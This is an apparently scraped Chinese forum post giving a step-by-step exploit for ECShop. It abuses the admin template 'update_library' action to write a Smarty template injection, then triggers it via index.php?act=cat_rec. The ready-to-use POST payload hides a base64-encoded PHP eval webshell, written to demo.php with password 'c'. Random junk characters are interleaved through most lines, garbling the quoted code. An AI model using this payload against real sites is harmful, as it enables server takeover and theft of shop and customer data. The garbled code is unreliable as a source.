首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板: B9 t1 E7 [: O+ a e V2 ]
! ], j8 o. {" v8 m a, g2 v8 C$ U而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了9 B3 \3 Z7 D3 d$ G, E. @# {7 ^
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码& O h: ?' _" K6 n/ m$ }
admin/template.php
! I+ s: C3 @) F) A2 C: t0 z- J, ]# s
1 if ($_REQUEST['act'] == 'update_library') 3 d! P2 n+ A9 {
( ^5 ?) n. A o! M3 [& l! o2
! ~8 b; f. y( {, \) \% |
0 l$ a% T2 s; g% v3 {
3 @4 D3 m. t# g" s3 l' ]8 Q1 J
$ y, y# C6 ?# z. ~) e4 check_authz_json('library_manage'); ' ~- n& p* _# G3 x6 ~1 e" P
; D8 y$ r/ s+ T$ D1 z/ q" r8 I E5 " I6 \3 j# c% T3 h* c' t( e
* a: Z; R3 ?" A* C6 $html = stripslashes(json_str_iconv($_POST['html']));
) {0 D5 r1 }) T. S3 |6 B4 _6 K" J* ]
7
) I8 ?4 `% P" ~9 o
8 ^3 }! G7 g1 r( R8 $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
5 i1 F. H, ^( s7 V+ e
# M& j. }% k. f$ k* B* ?( ?9
- U0 P9 J# C# ~6 N. O# }4 V
. ]. H2 ^0 g+ K8 ?! h! ?8 O10 $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符 - s( _8 n, i! a6 }* h0 i( l9 O/ j
( O' O! E( J6 c/ t
11
1 a- C1 a' x$ t. b. B$ Z1 O$ l! ^& [0 y4 V
12 $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file)); ) Y6 C7 b. I: V4 Z9 F$ A
# ]7 e2 x8 T* p# \7 j* x3 w13 k* }* i. n3 {& @
) J* O0 \3 y5 V4 N$ R; V; Y14 if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
# i- P) V( h9 j! O0 M% Y t& y N5 I# {. X/ d- W
15 { , ]2 J, p* K; V" }6 e" z# v
. Y9 K0 S( r* a# Y+ S+ n6 b16 @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html); : e" `" _/ C- v7 j( X2 I: m
5 q. z8 X. Y1 j7 o8 T' j
17 make_json_result('', $_LANG['update_lib_success']); , ^( n1 B2 v. r) {! l) i
; f9 Z9 g$ u' g/ w3 W1 @) n8 X/ ^( L18 } 0 x* x( I+ }# h: R
`; G4 r8 f3 F( v0 k3 E0 V3 u# a
19 else
- d3 x$ H% _6 w7 O% w0 W) V! v
0 d* ?& Q. D9 W8 ?- v20 { ' n. x8 m5 p! ?2 l: d9 o
7 y- e/ h. O" D# U s# n21 make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library')); $ Y9 T0 J4 K! t9 d/ |
. ?* V/ E! _3 n. [# X$ a+ y& O
22 }
$ `: o/ K2 d) D6 e) d% X
* _, Q9 A: T. t. D7 F23 }
. _9 O& _5 m3 D$ }2 z$ L
, }2 `& m- W' c! E$ x; V那么找个比较方便调用了模板的文件6 ^% {& [5 q4 X$ R0 q# V; P
index.php
7 o% m: \# @7 a( x. k# [& R. h; X1 ^0 T1 R3 l, W0 v
1 if ($act == 'cat_rec') 5 v: z( S7 P# ^4 i6 v4 L
- x, G9 q- B6 F: M" I6 u# S2
/ N( f3 @& w7 t0 l3 k4 m( n' r3 C) y) j3 j* \# I
3 { 6 R5 _' z7 D; A+ P
1 C b& ]. J! ~' [1 m4
0 J% O: M' Y7 |& G# O: j3 j' p- C4 I: A; ^6 U; p1 [
5 $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot'); 2 X6 {" v( e) b$ @
4 Z a, Q6 L2 O0 e# p1 m- g
6 0 ^# N6 X/ H' g- a9 ]: n4 f1 B5 p
' ^( d0 H% {0 ~9 e7 $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
; g! Q% m, ?3 U0 Z% I0 L0 a
" |+ ^" p( g4 u8 / K, _8 U* G7 }" i4 Y; F
0 A& ?7 g; _5 `5 r
9 $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; 2 t# _, \% s( q: m: z4 t$ g
" M& E6 [, e3 }) n8 ^0 v
10
% L7 K, B& L E& ~8 K1 P: m# {
: { l" ~4 E7 S. `. A) U |) K V7 `. s11 include_once('includes/cls_json.php');
. _' X6 V3 ]6 @# G) w, } y1 r5 J
12
0 L7 K5 f$ u4 {6 X
. d8 Y# L$ I2 U13 $json = new JSON; . T" f0 R; k! P
v* H( o2 {5 Q* x) m14 * E9 [* A% C5 \8 k+ v p7 j
) b' ~3 \( N) H8 V7 z6 ^15 $result = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
S1 g1 u% D$ R4 r# f: S# p8 W7 F& N
16
1 j$ k% t. z8 |# z
- S/ S0 L- Y& l- S9 g9 a17 $children = get_children($cat_id); # E( w9 F4 u& f! J8 H
+ j3 O" t' {) S( v/ k- t18
# i% |5 n& ]0 `, z# i: |' b/ D+ E1 k* w- j
19 $smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品 ' o0 F. K |5 c: p6 ^! z; \. V
1 R0 ~% P6 p' k6 o& s1 ^20 * E b5 s' p/ \% J
9 k1 V/ ~9 J9 t
21 $smarty->assign('cat_rec_sign', 1);
9 `3 S# j" g/ V' N* p
1 D( V' Q2 P3 A( q, r2 K+ [1 _* f& l+ C22 3 D: }! w, V9 F; `9 P
( {) H @1 o: N) P
23 $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
9 ^# W$ A" N1 a8 k. |3 d
3 w: ^0 t3 W! U9 s' J24 ! j2 v/ D8 R. U
7 c( V" ?6 G& P8 b& F" J: a; _
25 echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; 2 V5 z/ F5 M5 H
! B+ Q! F- M2 R% k$ V, N1 I) o/ M X6 z# |26 # N: y Q6 |4 X2 c+ {8 y+ {0 q9 `
8 P, z% Q* W( }5 R: l8 n3 m8 ^27 echo $rec_array[$rec_type];
, Z; R5 P& A5 Z2 Y$ h- a1 }* t% O- w* U
28
$ V4 Y. |0 A X8 k
0 U+ @0 C! r# n* C8 b! U29 die($json->encode($result)); ( M1 I( A. b1 J0 h
/ j# f! Z8 C" E) D6 E1 a30 $ u: Y" A _ O+ n* P4 n0 c
( h6 D3 \4 x& P
31 }
- p. k/ d# x2 u- J' T: Y% g2 U% s% N" j
5 _' J, Z+ {9 j* j- f4 w p. c( D' o/ S那么就有利用方法了
/ Q6 n& _/ H! A. Z0 J) h! y, ~7 |post包到http://localhost/ec/admin/template.php?act=update_library
5 e$ Z2 J( `" R* }; cPost内容:* b O" q/ S q$ }$ a1 g( z
/ ], N3 y# R9 N* \3 z: `3 |, h
* V# ^ z% G& K; [7 N+ R) S* d1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
: K' C2 e3 q- M8 W% Y2 g* C, v
: i& Z" w+ L$ m: i% C然后访问http://localhost/ec/index.php?act=cat_rec
/ o, v/ t. j7 V- K
5 x6 D. q; G: s7 \shel地址:http://localhost/ec/demo.php
' ?' k' w% g' ^! }9 n+ w密码c
, @1 E: L. ^' M; d) d: g- i/ c4 c$ v) I X- W
|